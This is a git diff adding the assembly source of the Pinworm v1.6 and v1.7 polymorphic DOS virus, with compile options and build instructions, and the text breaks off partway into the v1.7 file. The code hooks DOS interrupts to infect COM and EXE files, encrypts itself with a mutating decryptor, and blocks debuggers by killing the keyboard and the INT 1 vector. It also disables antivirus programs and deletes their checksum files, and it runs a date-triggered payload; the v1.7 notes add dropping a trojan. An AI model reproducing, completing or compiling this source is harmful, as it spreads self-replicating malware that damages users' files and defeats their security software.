cmp ax,signal ; be it us? + jnz not_us ; richtig.. + cmp dx,vsafe_word + jnz not_us + xor si,si ; tis us + mov di,4559h ; simulate VSAFE return +not_us: + cmp ah,4bh ; execute phile? + jnz jmp_org + +go_now: push ax bp bx cx di dx ds es si + call mem_crypt ; decrypt in memory + call infect_file ; the mother of all calls + call mem_crypt ; encrypt in memory + pop si es ds dx di cx bx bp ax + + jmp_org: + popf + db 0eah ; jump far + old21 dd 0 ; O:S + + +exe_header: +org_bytes db 0CDh,20h,0,0 ; original COM bytes | exe hdr +; Start of heap (not written to disk) +heap: +db 14h dup(0) ; remaining exe header space +old_24_off dw 0 ; old int24h vector +old_24_seg dw 0 +r_delay db 0 +size_disp db 0 ; additional size of virus +vend: ; end of virus in memory.. +cseg ends + end start + diff --git a/p/PW16.ASM b/p/PW16.ASM new file mode 100755 index 0000000..72aedf1 --- /dev/null +++ b/p/PW16.ASM @@ -0,0 +1,1104 @@ + +; **Beta Code** +; ------ +; PiWRM v1.6 coded by irogen +; Variant A +; ------ +; +; See enclosed NFO for more info.. +; +; version 1.5: +; Conditional compilation equates added for creation of new variants +; Improved polymorphic engine +; Fixed possible bug in polymorphic engine after 50 or so generations +; version 1.6: +; Re-Enabled Constant 1 Byte Garbage Generation +; Changed activation routine +; +; compile like so: +; TASM /m pw16 +; Tlink pw16 +; --convert to COM-- +; + +cseg segment + assume cs: cseg, ds: cseg, es: cseg, ss: cseg + +; +; Compile Options +; +SECOND_CRYPT equ 0 ; use second cryptor? +INCLUDE_INT3 equ 1 ; include INT 3 in garbage code? + ; (slows the loop down alot) +KILL_AV equ 1 ; Kill AVs as executed? +KILL_CHKLIST equ 1 ; Kill MSAV/CPAV checksum filez? +TWO_BYTE equ 1 ; Use two byte garbage code? +KILL_DATE equ 13 ; day of the month to play with user +MAX_EXE equ 4 ; max exe file size -high byte + +; +; Polymorphic Engine Equates +; +INC_BUF_SIZE equ 38 ; INC buf +ENC_OP_BSIZE equ 38 ; ENC buf +PTR_BUF_SIZE equ 38 ; PTR buf +CNT_BUF_SIZE equ 38 ; CNT&OP +DJ_BUF_SIZE equ 38 ; DEC&JMP +GARBAGE_OPS equ 0Fh ; # of garbage ops in each group + +; +; Misc. +; +enc_size equ offset first_crypt-offset encrypt +enc2_size equ offset code_start-offset first_crypt +signal equ 0FA01h ; AX=signal/INT 21h/installation chk +vsafe_word equ 5945h ; magic word for VSAFE/VWATCH API +real_start equ offset dj_buf+3 ; starting location of encryted code +cr equ 0ah + +org 0h + +start: +; +; Polymorphic Encryptor/Decryptor Buffer +; +; + encrypt: + ptr_buf db PTR_BUF_SIZE dup (90h) + encryptor: + cnt_buf db CNT_BUF_SIZE dup(90h) + enc_loop: + inc_buf db INC_BUF_SIZE dup(90h) + enc_op_buf db ENC_OP_BSIZE dup(90h) + dj_buf db DJ_BUF_SIZE dup (90h) + ret_byte db 090h ; C3h or a NOP equiv. +first_crypt: ; end of first cryptor + + +; +; Second Decryptor - Anti-Debugging +; +; Uses reverse direction word XOR encryption +; Uses the following techniques: +; JMP into middle of operand +; Replace word after CALL to kill stepping over call +; Kills INT 1 vector +; Disables Keyboard via Port 21h +; Reverse direction encryption prevents stepping past loop +; Uses SP as a crucial data register in some locations - if +; the debugger uses the program's stack, then it may very well +; phuck thingz up nicely. +; Uses Soft-Ice INT 3 API to lock it up if in memory. +; + sti ; fix CLI in garbage code + db 0BDh ; MOV BP,XXXX +bp_calc dw 0100h + push ds es ; save segment registers for EXE +IF SECOND_CRYPT + push ds +dbg1: jmp mov_si ; 1 + db 0BEh ; MOV SI,XXXX +mov_si: db 0BEh ; MOV SI,XXXX +rel2_off dw offset heap+1000h ; org copy: ptr way out there + call shit +add_bp: int 19h ; fuck 'em if they skipped + jmp in_op ; 1 + db 0BAh ; MOV DX,XXXX +in_op: in al,21h + push ax + or al,02 + jmp kill_keyb ; 1 + db 0C6h +kill_keyb: out 21h,al ; keyboard=off + call shit6 +past_shit: jmp dbl_crypt +shit7: + xor ax,ax ;null es + mov es,ax + mov bx,word ptr es: [06] ;get INT 1 + ret +shit: + mov word ptr cs: add_bp[bp],0F503h ;ADD SI,BP + mov word ptr cs: dec_si[bp],05C17h ;reset our shit sister + ret +shit2: + mov word ptr cs: dec_si[bp],4E4Eh + mov word ptr cs: add_bp[bp],19CDh ;reset our shit brother + call shit3 + jnc code_start ;did they skip shit3? + xor dx,cx + ret + db 0EAh ;JMP FAR X:X +shit4: + db 0BAh ;MOV DX,XXXX +sec_enc dw 0 + mov di,4A4Dh ;prepare for Soft-ice + ret +shit3: + mov ax,911h ;soft-ice - execute command + call shit4 + stc + dec word ptr es: [06] ;2-kill INT 1 vector + push si + mov si,4647h ;soft-ice + int 3 ;call SI execute - DS:DX-garbage + pop si + ret + +shit6: mov byte ptr cs: past_shit[bp],0EBh + out 21h,al ; try turning keyboard off again + ret + +dbl_crypt: ; main portion of cryptor + mov cx,(offset heap-offset ret2_byte)/2+1 + call shit7 +dbl_loop: + jmp $+3 ; 1 + db 034h ; XOR ... + call shit3 ; nested is the set DX + xchg sp,dx ; xchg SP and DX + jmp xor_op ; 1 + db 0EAh ; JMP FAR X:X +xor_op: xor word ptr cs: [si],sp ; the real XOR baby.. + xchg sp,dx ; restore SP + call shit2 +dec_si: pop ss ; fuck 'em if they skipped shit2 + pop sp + int 3 + xchg sp,bx ; SP=word of old int 1 vec + dec cx + mov es: [06],sp ; restore int 1 vector + xchg sp,bx ; restore SP + jnz dbl_loop +ret2_byte db 90h,90h + + +ENDIF +; +; Start of Viral Code +; + +code_start: +IF SECOND_CRYPT + pop ax es ; Get port reg bits (ES=PSP) + out 21h,al ; restore keyboard +ENDIF + + mov cs: activate[bp],0 ; reset activation toggle + mov cs: mem_word[bp],0 ; reset mem. encryption + + inc si ; SI!=0 + mov dx,vsafe_word ; remove VSAFE/VWATCH from memory + mov ax,0FA01h ; & check for residency of virus too + int 21h + or si,si ; if SI=0 then it's us + jz no_install + + mov ah,2ah ; get date + int 21h + cmp dl,KILL_DATE ; is it time to activate? + jnz not_time + mov cs: activate[bp],1 + +not_time: + + mov ax,es ; PSP segment - popped from DS + dec ax ; mcb below PSP m0n + mov ds,ax ; DS=MCB seg + cmp byte ptr ds: [0],'Z' ; Is this the last MCB in chain? + jnz no_install + sub word ptr ds: [3],(((vend-start+1023)*2)/1024)*64 ; alloc MCB + sub word ptr ds: [12h],(((vend-start+1023)*2)/1024)*64 ; alloc PSP + mov es,word ptr ds: [12h] ; get high mem seg + push cs + pop ds + mov si,bp + mov cx,(offset vend - offset start)/2+1 + xor di,di + rep movsw ; copy code to new seg + xor ax,ax + mov ds,ax ; null ds + push ds + lds ax,ds: [21h*4] ; get 21h vector + mov es: word ptr old21+2,ds ; save S:O + mov es: word ptr old21,ax + pop ds + mov ds: [21h*4+2],es ; new int 21h seg + mov ds: [21h*4],offset new21 ; new offset + + call get_timer + cmp dl,5 + jle no_install + sub byte ptr ds: [413h],((offset vend-offset start+1023)*2)/1024 ;-totalmem + +no_install: + + xor si,si ; null regs.. + xor di,di ; some progs actually care.. + xor ax,ax + xor bx,bx + xor dx,dx + + pop es ds ; restore ES DS + cmp cs: exe_phile[bp],1 + jz exe_return + + lea si,org_bytes[bp] ; com return + mov di,0100h ; -restore first 4 bytes + movsw + movsw + + mov ax,100h ; jump back to 100h + push ax +_ret: ret + +exe_return: + mov cx,ds ; calc. real CS + add cx,10h + add word ptr cs: [exe_jump+2+bp],cx + int 3 ; fix prefetch + cli + mov sp,cs: oldsp[bp] ; restore old SP.. + sti + db 0eah +exe_jump dd 0 +oldsp dw 0 +exe_phile db 0 + +; +; Infection Routine +; +; DS:DX=fname +; Assumes EXE if first byte is 'M' or 'Z' +; Changes/Restores attribute and time/date +; +; If philename ends in 'AV', 'AN', or 'OT' it's not infected and has it's +; minimum req. memory in the header (0Ah) changed to FFFFh, thus making it +; unusable. +; +infect_file: + + mov di,dx ; move filename ptr into an index reg + push ds ; search for end of filename(NULL) + pop es + xor ax,ax + mov cx,128 + repnz scasb + + cmp word ptr [di-3],'EX' ;.eXE? + jz is_exec +chk_com: cmp word ptr [di-3],'MO' ;.cOM? + jnz _ret +is_exec: +IF KILL_AV + mov cs: isav,0 + cmp word ptr [di-7],'VA' ;*AV.*? CPAV,MSAV,TBAV,TNTAV + jz anti_action + cmp word ptr [di-7],'TO' ;*OT.*? F-PROT + jz anti_action + cmp word ptr [di-7],'NA' ;*AN.*? + jnz name_ok + cmp word ptr [di-9],'CS' ;*SCAN.*? + jnz name_ok +anti_action: + inc cs: isav ; set mark for anti-virus kill +name_ok: +ENDIF + push ds ; save fname ptr segment + mov es,ax ; NULL ES (ax already 0) + lds ax,es: [24h*4] ; get INT 24h vector + mov old_24_off,ax ; save it + mov old_24_seg,ds + mov es: [24h*4+2],cs ; install our handler + mov es: [24h*4],offset new_24 + pop ds ; restore fname ptr segment + push es + push cs ; push ES for restoring INT24h later + pop es ; ES=CS + + mov ax,4300h ; get phile attribute + int 21h + mov ax,4301h ; null attribs 4301h + push ax cx ds dx ; save AX-call/CX-attrib/DX:DS + xor cx,cx ; zero all + int 21h + + mov bx,signal + mov ax,3d02h ; open the file + int 21h + jc close ; if error..quit infection + + xchg bx,ax ; get handle + + push cs ; DS=CS + pop ds + +IF KILL_CHKLIST + call kill_chklst ; kill CHKLIST.MS & .CPS filez +ENDIF + mov ax,5700h ; get file time/date + int 21h + push cx dx ; save 'em for later + + mov ah,3fh ; Read first bytes of file + mov cx,18h ; EXE header or just first bytes of COM + lea dx,org_bytes ; buffer used for both + int 21h + + call offset_end ; set ptr to end- DXAX=file_size + + cmp byte ptr org_bytes,'M' ; EXE? + jz do_exe + cmp byte ptr org_bytes,'Z' ; EXE? + jz do_exe + cmp byte ptr org_bytes+3,0 ; CoM infected? + jz d_time + + dec exe_phile + + push ax ; save file size + add ax,100h ; PSP in com + mov rel_off,ax ; save it for decryptor + mov bp_calc,ax + + call encrypt_code ; copy and encrypt code + + lea dx,vend ; start of newly created code + mov cx,offset heap+0FFh ; virus length+xtra + add cl,size_disp ; add random ^in case cl exceeds FF + mov ah,40h + int 21h ; append virus to infected file + + call offset_zero ; position ptr to beginning of file + + pop ax ; restore COM file size + sub ax,3 ; calculate jmp offset + mov word ptr new_jmp+1,ax ; save it.. + + lea dx,new_jmp ; write the new jmp (E9XXXX,0) + mov cx,4 ; total of 4 bytes + mov ah,40h + int 21h + +d_time: + + pop dx cx ; pop date/time + mov ax,5701h ; restore the mother fuckers + int 21h + +close: + + mov ah,3eh ; close phile + int 21h + + pop dx ds cx ax ; restore attrib + int 21h + +dont_do: + pop es ; ES=0 + lds ax,dword ptr old_24_off ; restore shitty DOS error handler + mov es: [24h*4],ax + mov es: [24h*4+2],ds + + ret ; return back to INT 21h handler + +do_exe: + cmp dx,MAX_EXE + jg d_time + + mov exe_phile,1 + +IF KILL_AV + cmp isav,1 ; anti-virus software? + jnz not_av + mov word ptr exe_header[0ah],0FFFFh ; change min. mem to FFFFh + jmp write_hdr +not_av: +ENDIF + cmp word ptr exe_header[12h],0 ; checksum 0? + jnz d_time + + mov cx,mem_word ; get random word + inc cx ; make sure !0 + mov word ptr exe_header[12h],cx ; set checksum to!0 + mov cx,word ptr exe_header[10h] ; get old SP + mov oldsp,cx ; save it.. + mov word ptr exe_header[10h],0 ; write new SP of 0 + + les cx,dword ptr exe_header[14h] ; Save old entry point + mov word ptr exe_jump, cx ; off + mov word ptr exe_jump[2], es ; seg + + push cs ; ES=CS + pop es + + push dx ax ; save file size DX:AX + cmp byte ptr exe_header[18h],52h ; PKLITE'd? (v1.13+) + jz pklited + cmp byte ptr exe_header[18h],40h ; 40+ = new format EXE + jge d_time + pklited: + + mov bp, word ptr exe_header+8h ; calc. new entry point + mov cl,4 ; *10h + shl bp,cl ; ^by shifting one byte + sub ax,bp ; get actual file size-header + sbb dx,0 + mov cx,10h ; divide me baby + div cx + + mov word ptr exe_header+14h,dx ; save new entry point + mov word ptr exe_header+16h,ax + mov rel_off,dx ; save it for encryptor + mov bp_calc,dx + + call encrypt_code ; encrypt & copy the code + + mov cx,offset heap+0FFh ; virus size+xtra + add cl,size_disp ; add random ^in case cl exceeds FFh + lea dx,vend ; new copy in heap + mov ah,40h ; write the damn thing + int 21h + + pop ax dx ; AX:DX file size + + mov cx,(offset heap-offset start)+0FFh ; if xceeds ff below + add cl,size_disp + adc ax,cx + + mov cl,9 ; calc new alloc (512) + push ax + shr ax,cl + ror dx,cl + stc + adc dx,ax + pop ax + and ah,1 + + mov word ptr exe_header+4h,dx ; save new mem. alloc info + mov word ptr exe_header+2h,ax + +write_hdr: + call offset_zero ; position ptr to beginning + + mov cx,18h ; write fiXed header + lea dx,exe_header + mov ah,40h + int 21h + + jmp d_time ; restore shit/return + + +; +; Kills CHKLIST.CPS and CHKLIST.MS +; +; + +kill_chklst: + mov di,2 ; counter for loop + lea dx,chkl1 ; first fname to kill +kill_loop: + mov ax,4301h ; reset attribs + xor cx,cx + int 21h + mov ah,41h ; delete phile + int 21h + lea dx,chkl2 ; second fname to kill + dec di + jnz kill_loop + + ret + +; +; Set File PTR +; + +offset_zero: ; self explanitory + xor al,al + jmp set_fp +offset_end: + mov al,02h +set_fp: + mov ah,42h + xor cx,cx + xor dx,dx + int 21h + ret + +; +; Morph, copy, & crypt + +; 0 bytes constant +; 0 functionally equivilant operands in constant locations +; +; Random byte defined as: +; 76543210 +;  0=JNZ,1=JNS +;  0=ADD&SUB, 1=XOR +;  0=BYTE CRYPTION, 1=WORD CRYPTION +;  1=INCREMENT POINTER TO 'MOV SI|DI,XXXX' OPERAND +;  1=USE TWO BYTE GARBAGE, 0=USE ONE BYTE GARBAGE ONLY +;  1=USE CONSTANT STREAM OF ONE BYTE GARBAGE, 0=NORMAL RANDOM +;  not used +;  not used +; +; +encrypt_code: + + push bx ; save the handle + + call get_timer +IF SECOND_CRYPT + mov byte ptr sec_enc,cl ; use CL\DL for 2nd encryptor + mov byte ptr sec_enc+1,dh +ENDIF + + mov ax,0FFFFh + call random + mov enc_num,dl ; store ms count for encryption + mov mem_word,dx ; mem cryption too + mov size_disp,dl ; and size displacment + +; Fill buffer space with one-byte garbage ops + + lea di,encrypt + mov bp,enc_size+1 + test enc_num,00100000b ; use constant 1 byte operand? + jnz do_constant + mov bl,1 + jmp fb1 +do_constant: + mov bl,0 +fb1: + call fill_buffer + +; Randomly select between jmp type : JNZ or JNS + + test enc_num,00000001b + jnz jmp_2 + mov byte ptr jnz_op,75h ; use jnz + jmp jmp_set + jmp_2: + mov byte ptr jnz_op,79h ; jns + jmp_set: + +; Select encryption type: XOR or ADD&SUB + + mov enc_type,04 ; default to encrypting ADD + mov dec_type,2Ch ; and decrypting SUB + test enc_num,00000010b + jz use_add_sub + mov dec_type,34h ; decrypting XOR + mov enc_type,34h ; encrypting XOR + use_add_sub: + +; Change register used for the counter + + cmp byte ptr count_op,0BBh ; skip SP/BP/DI/SI + jnz get_reg + mov byte ptr count_op,0B7h ; AX-1 + mov byte ptr dec_op,47h ; AX-1 + get_reg: + inc byte ptr count_op ; increment to next register in line + inc byte ptr dec_op + +; Select position of INC DI|SI + + mov ax,INC_BUF_SIZE-1 + call random ; select a position in the buffer.. + xchg di,dx + add di,offset inc_buf + mov inc_op_ptr,di ; save ptrs + mov inc_op_ptr2,di + +; Toggle between SI and DI + + cmp byte ptr ptr_set,0BEh ; using SI? + jz chg_di ; if so, then switch to DI + mov byte ptr [di],46h ; write INC SI + dec byte ptr ptr_set ; decrement to SI + jmp done_chg_ptr + chg_di: + mov byte ptr [di],47h ; write INC DI + inc byte ptr ptr_set ; increment to DI + inc byte ptr dec_type ; increment decryptor + inc byte ptr enc_type ; increment encryptor + done_chg_ptr: + +; Select word or byte encryption + + mov w_b,80h ; default to byte cryption + test enc_num,00000100b ; use word? + jz use_byte + mov w_b,81h ; now using word en/decryptor + mov ax,di + sub ax,offset inc_buf+1 + call random + mov ch,byte ptr [di] ; get INC DI|INC SI operand + sub di,dx + mov byte ptr [di],ch ; make a copy of it for word cryption + mov inc_op_ptr2,di + use_byte: + +; Increment counter value + + cmp byte ptr crypt_bytes,0Fh ; byte count quite large? + jnz inc_cnt ; if not..increment away + mov crypt_bytes,offset vend ; else..reset byte count + inc_cnt: + inc crypt_bytes ; increment byte count + + +; Set DEC XX /JNS|JNZ operands + + mov ax,DJ_BUF_SIZE-3 + call random ; select a pos. + add dx,offset dj_buf + mov di,dx + sub dx,offset enc_loop-3 ; find loop size + neg dx ; negate for negative jump + mov byte ptr jnz_op+1,dl ; write jmp offset + dec dl + mov byte ptr loop_ofs,dl ; write loop offset + mov dec_op_ptr,di + lea si,dec_op + movsb ; write operand(s) +write_loop: + movsw + inc di + add rel_off,di ; chg offset for decryption + push di ; save offset after jmp + + +; Set MOV DI,XXXX|MOV SI,XXXX + + mov ax,PTR_BUF_SIZE-3 + call random ; select pos. + xchg dx,di + add di,offset ptr_buf ; build ptr + mov ptr_op_ptr,di ; save ptr + lea si,ptr_set + movsw ; write op + movsb + +; Set MOV AX|BX|DX|CX,XXXX + + mov ax,CNT_BUF_SIZE-3 + call random ; select pos. + xchg dx,di + add di,offset cnt_buf ; build ptr + mov count_op_ptr,di ; save ptr + lea si,count_op + movsw ; write op + movsb + +; Set XOR|ADD&SUB WORD|BYTE CS:|DS:[SI|DI],XX|XXXX + + mov ax,ENC_OP_BSIZE-5 + call random ; select pos. + xchg dx,di + add di,offset enc_op_buf ; build ptr + mov enc_op_ptr,di ; save ptr + lea si,seg_op + movsw ; write op + movsw + +IF TWO_BYTE +; Throw in some 2 byte garbage ops + test enc_num,00010000b ; use two-byte garbage? + jz no_2byte_grb + lea di,encrypt + mov bp,ptr_op_ptr + push bp + call fill_between + pop di + add di,3 ; 3bytez large + mov bp,count_op_ptr + push bp + call fill_between ; fill between start and count reg + pop di + add di,3 ; 3bytez large + mov bp,inc_op_ptr2 + push bp + call fill_between ; fill between count reg and inc ptr + pop di + inc di ; 1byte large + mov bp,inc_op_ptr + push bp + call fill_between ; if another inc ptr op exist, then + pop di ; .. fill in between both of them + inc di ; 1byte large + mov bp,enc_op_ptr + push bp + call fill_between ; fill between inc ptr and encryption + pop di ; ..op + add di,5 ; 5bytez large + mov bp,dec_op_ptr + call fill_between ; fill between encryption op and loop +no_2byte_grb: +ENDIF + +; +;[END OF POLYMORPHIC ENGINE] +; + +; FiX second cryptor offset + +IF SECOND_CRYPT + mov rel2_off,offset heap ;first gen has mispl. off +ENDIF + +; Copy virus code along with decryptor to heap + + mov cx, (offset heap-offset start)/2+1 + xor si,si + lea di,vend ; ..to heap for encryption + rep movsw ; make another copy of virus + +IF SECOND_CRYPT +; Call second encryptor first + + mov si,offset vend ; offset of enc. start.. + add si,offset heap ; ..at end of code + mov ret2_byte,0C3h + xor bp,bp + call dbl_crypt + mov ret2_byte,90h +ENDIF + +; Set ptr to heap for encryption + + pop si ; pop offset after jmp + add si,offset vend ; offset we'z bez encrypting + mov di,si ; we might be using DI too + +; Encrypt the mother fucker + + mov ret_byte,0C3h ; put RET + mov al,enc_type + mov bx,enc_op_ptr + mov byte ptr [bx+2],al ; set encryption type + call encryptor ; encrypt the bitch + + pop bx ; restore phile handle + ret ; return + +; +; Garbage Code Filler +; DS:DI = buffer address +; BP = buffer size +; BL = 0 - Use 1 byte constant garbage op +; = 1 - Use 1 byte random garbage ops +; = 2 - Use 2 byte random garbage ops +; +; Decently random..relies on previously encrypted data and MS from clock +; to form pointer to the next operand to use.. +; +; +fill_buffer: + push ax + mov ax,GARBAGE_OPS + call random + pop ax + mov si,dx ; build index ptr +IF TWO_BYTE + cmp bl,2 ; using 1 byte, or 2 byte ops? + jz word_grb +ENDIF + cmp bl,0 ; using constant stream of 1 byte op? + jnz not_constant + + mov si,cons_byte +not_constant: + mov al,byte ptr [nops_1+si] ; get 1byte operand from table + mov byte ptr [di],al ; write operand +IF TWO_BYTE + jmp did_1byte +word_grb: + cmp di,offset enc_loop-1 ; don't put 2byte op at loop begin + jnz di_ok +di_not_ok: + mov al,byte ptr [nops_1+si] ; get 1byte op + mov ah,al ; duplicate + jz couldnt_do_2 +di_ok: + cmp di,offset encryptor-1 ; don't put 2byte op at call begin + jz di_not_ok + add si,si ; double pointer for word offsets + mov ax,word ptr [nops_2+si] ; get garbage op +couldnt_do_2: + mov word ptr [di],ax ; write op + inc di ; increment ptr + dec bp ; decrement counter + jz _fret +did_1byte: +ENDIF + inc di ; increment buffer ptr + dec bp ; decrement counter + jnz fill_buffer ; loop + cmp cons_byte,GARBAGE_OPS + jl in_range + mov cons_byte,-1 +in_range: + inc cons_byte +_fret: ret + +IF TWO_BYTE +; +; Fill Bytes Between Two Ops /w Garb. +; DS:DI=First Op +; DS:BP=Last Op +; +fill_between: + sub bp,di ; get difference of offsets + cmp bp,4 ; if <4 then not 'nuff room + jl not_room + sub bp,2 ; make sure we don't overwrite last op + mov bl,2 ; use 2byte garbage ops + call fill_buffer +not_room: + ret +ENDIF +; +; Get sec/ms from clock +; +get_timer: + push ax + mov ah,2ch ; get clock + int 21h + mov ran_seed,dx + pop ax + ret + +; +; Get Random Number +; AX=max number +; ret: DX=random # [will not return 0] +; ROUTINE PARTIALLY FROM: TP6.0 BOOK +; +random: + push ax + mov ax,ran_seed + mov cx,31413 + mul cx + add ax,13849 + mov ran_seed,ax + pop cx + mul cx + cmp dx,0 + jnz ran_ok + inc dx +ran_ok: + ret + +; +; Associated bullshit +; +chkl1 db 'CHKLIST.MS',0 ; MSAV shitty checksum +chkl2 db 'CHKLIST.CPS',0 ; CPAV shitty checksum +pin_dir db 255,'PIWrM.g!',0 ; DIR created +root db '..',0 ; for changing to org. dir +act_file db 'VIROGEN.MSG',0 +act_data db ' Thank you for allowing Pinworm v1.6 to reside within your computer! You will',cr + db 'be rewarded for your kindness by the gods which reign over the cyber world.',cr + db 'You may thank the holy god of heart and kindness, irogen, for bringing this',cr + db 'life into the cold and dead realms of your computer.',cr,cr + db '-----BEGIN PGP PUBLIC KEY BLOCK-----',cr + db 'Version: 2.6',cr,cr + db 'mQCNAixt9g4AAAEEANN3KDJ5NjmN1bm5cQGs352wJsQH6FBtOgnHEpZczJBXBwU1',cr + db 'HiMIL0a4ST16h/flarD2Jsekk5KMz0XF0/+ZAy98Ng3AglsWT+9mXnYxlnUwMaIc',cr + db '0QeCU8ECQzQSRzSznWidEKsemYLC179eOEfOqNeYR5NndCo3mVS0HwB6IcbpAAUR',cr + db 'tAdWaXJvZ2Vu',cr + db '=Hvsw',cr + db '-----END PGP PUBLIC KEY BLOCK-----',0 +activate db 0 +isav db 0 +new_jmp db 0E9h,0,0,0 ; jmp XXXX ,0 (id) + +ran_seed dw 0 +; +; Polymorphic engine data +; +inc_op_ptr dw offset inc_buf ; ptr to location of INC +enc_op_ptr dw offset enc_op_buf ; actual ENC op ptr +ptr_op_ptr dw offset ptr_buf ; ptr to ptr set pos +count_op_ptr dw offset cnt_buf ; ptr to counter reg pos +dec_op_ptr dw offset dj_buf ; ptr to decrement counter op pos +inc_op_ptr2 dw 0 +seg_op db 2Eh ; CS +w_b db 80h ; byte=80h word=81h +dec_type db 2Ch ; SUB BYTE PTR CS:[DI|SI],XXXX +enc_num db 0 +enc_type db 2Ch +ptr_set db 0BEh ; MOV DI|SI,XXXX +rel_off dw real_start+100h +count_op db 0B8h ; MOV AX|BX|CX|DX,XXXX +crypt_bytes dw offset vend-offset dj_buf +dec_op: dec ax ; DEC AX|BX|CX|DX +jnz_op db 75h,0 +;loop_op db 0E2h ; LOOP XX +loop_ofs db 0 +cons_byte dw 0 +; +; One-byte Garbage Operands (must be 16) +; + +nops_1: nop +IF INCLUDE_INT3 + int 3 +ELSE + cld +ENDIF + into + inc bp + dec bp + cld + nop + stc + cmc + clc + stc + into + cli + sti + inc bp +IF INCLUDE_INT3 + int 3 +ELSE + nop +ENDIF + +IF TWO_BYTE +; +; Two-byte Garbage Operands (must be 16) +; +nops_2: db 0EBh,0 ; JMP $+2 + db 74h,0 ; JZ $+2 + db 75h,0 ; JNZ $+2 + db 7Ch,0 ; JL $+2 + db 7Fh,0 ; JG $+2 + db 72h,0 ; JC $+2 + or bp,bp + not bp + neg bp + mov bp,ax + mov bp,dx + mov bp,si + mov bp,di + mov si,si + mov di,di + xchg cx,cx +ENDIF + +; +; Activation Routine +; +; Creates directory named after Pinworm and files +; in that directory which together form a message. +; +act_routine: + push ax bx cx ds dx bp es cs + pop ds + mov activate,0 ;we're in work now.. + lea dx,pin_dir ;create our subdirectory + mov ah,39h + int 21h + mov ah,3bh ;change to our new subdirectory + int 21h + lea dx,act_file + xor cx,cx + mov ah,3ch + int 21h + xchg ax,bx + lea dx,act_data + mov cx,(offset activate-offset act_data) + mov ah,40h + int 21h + mov ah,3eh + int 21h + + lea dx,root ; change back to orginal dir + mov ah,3bh + int 21h + + cmp r_delay,5 ;5 calls? + jl r_no ;if not then skip keyboard ror + mov r_delay,-1 + xor ax,ax ;es=null + mov es,ax + ror word ptr es: [416h],1 ;rotate keyboard flags +r_no: + inc r_delay ;increment calls count + mov activate,1 + pop es bp dx ds cx bx ax + jmp no_act + +; +; Interrupt 24h - critical error handler +; +new_24: ; critical error handler + mov al,3 ; prompts suck, return fail + iret + +; +; In-memory encryption function +; **virus encrypted in memory up to this point** +; +mem_crypt: + mov cx,offset mem_crypt-offset code_start + xor di,di ;offset 0 +mem_loop: + db 2Eh,81h,35h ;CS:XOR WORD PTR [DI], +mem_word dw 0 ;XXXX + inc di + loop mem_loop + ret + +; +; Interrupt 21h +; returns SI=0 and passes control to normal handler if +; VSAFE uninstall command is recieved. +; +new21: + pushf + + cmp cs: activate,1 ; time to activate? + jnz no_act + cmp ah,0Bh + jl act_routine +no_act: + cmp ax,signal ; be it us? + jnz not_us ; richtig.. + cmp dx,vsafe_word + jnz not_us + xor si,si ; tis us + mov di,4559h ; simulate VSAFE return +not_us: + cmp ah,4bh ; execute phile? + jnz jmp_org + +go_now: push ax bp bx cx di dx ds es si + call mem_crypt ; decrypt in memory + call infect_file ; the mother of all calls + call mem_crypt ; encrypt in memory + pop si es ds dx di cx bx bp ax + + jmp_org: + popf + db 0eah ; jump far + old21 dd 0 ; O:S + + +exe_header: +org_bytes db 0CDh,20h,0,0 ; original COM bytes | exe hdr +; Start of heap (not written to disk) +heap: +db 14h dup(0) ; remaining exe header space +old_24_off dw 0 ; old int24h vector +old_24_seg dw 0 +r_delay db 0 +size_disp db 0 ; additional size of virus +vend: ; end of virus in memory.. +cseg ends + end start + diff --git a/p/PW17.ASM b/p/PW17.ASM new file mode 100755 index 0000000..517ba87 --- /dev/null +++ b/p/PW17.ASM @@ -0,0 +1,1145 @@ + +; **Beta Code** +; ------ +; PiWRM v1.7 coded by irogen +; Variant A +; ------ +; +; See enclosed NFO for more info.. +; +; version 1.5: +; Conditional compilation equates added for creation of new variants +; Improved polymorphic engine +; Fixed possible bug in polymorphic engine after 50 or so generations +; version 1.6: +; Re-Enabled Constant 1 Byte Garbage Generation +; Changed activation routine +; version 1.7: +; The virus will now spawns trojans entitiled "RUNME.COM" if there are +; many successive failed infection attempts. +; Added SAFE_MEM compile option +; +; compile like so: +; TASM /m pw17 +; Tlink pw17 +; Exe2Com pw17 [convert to COM] +; + +cseg segment + assume cs: cseg, ds: cseg, es: cseg, ss: cseg + +; +; Compile Options +; +SECOND_CRYPT equ 0 ; use second cryptor? +INCLUDE_INT3 equ 1 ; include INT 3 in garbage code? + ; (slows the loop down alot) +KILL_AV equ 1 ; Kill AVs as executed? +KILL_CHKLIST equ 1 ; Kill MSAV/CPAV checksum filez? +TWO_BYTE equ 1 ; Use two byte garbage code? +SAFE_MEM equ 0 ; Always subtract from conv. mem. size +KILL_DATE equ 13 ; day of the month to play with user +MAX_EXE equ 4 ; max exe file size -high byte +TROJAN_NUM equ 0Fh ; count before spawning trojan + + +; +; Polymorphic Engine Equates +; +INC_BUF_SIZE equ 38 ; INC buf +ENC_OP_BSIZE equ 38 ; ENC buf +PTR_BUF_SIZE equ 38 ; PTR buf +CNT_BUF_SIZE equ 38 ; CNT&OP +DJ_BUF_SIZE equ 38 ; DEC&JMP +GARBAGE_OPS equ 0Fh ; # of garbage ops in each group + +; +; Misc. +; +enc_size equ offset first_crypt-offset encrypt +enc2_size equ offset code_start-offset first_crypt +TROJAN_DATA_LEN equ (offset td_end-offset trojan_data) +signal equ 0FA01h ; AX=signal/INT 21h/installation chk +vsafe_word equ 5945h ; magic word for VSAFE/VWATCH API +real_start equ offset dj_buf+3 ; starting location of encryted code +cr equ 0ah + +org 0h + +start: +; +; Polymorphic Encryptor/Decryptor Buffer +; +; + encrypt: + ptr_buf db PTR_BUF_SIZE dup (90h) + encryptor: + cnt_buf db CNT_BUF_SIZE dup(90h) + enc_loop: + inc_buf db INC_BUF_SIZE dup(90h) + enc_op_buf db ENC_OP_BSIZE dup(90h) + dj_buf db DJ_BUF_SIZE dup (90h) + ret_byte db 090h ; C3h or a NOP equiv. +first_crypt: ; end of first cryptor + + +; +; Second Decryptor - Anti-Debugging +; +; Uses reverse direction word XOR encryption +; Uses the following techniques: +; JMP into middle of operand +; Replace word after CALL to kill stepping over call +; Kills INT 1 vector +; Disables Keyboard via Port 21h +; Reverse direction encryption prevents stepping past loop +; Uses SP as a crucial data register in some locations - if +; the debugger uses the program's stack, then it may very well +; phuck thingz up nicely. +; Uses Soft-Ice INT 3 API to lock it up if in memory. +; + sti ; fix CLI in garbage code + db 0BDh ; MOV BP,XXXX +bp_calc dw 0100h + push ds es ; save segment registers for EXE +IF SECOND_CRYPT + push ds +dbg1: jmp mov_si ; 1 + db 0BEh ; MOV SI,XXXX +mov_si: db 0BEh ; 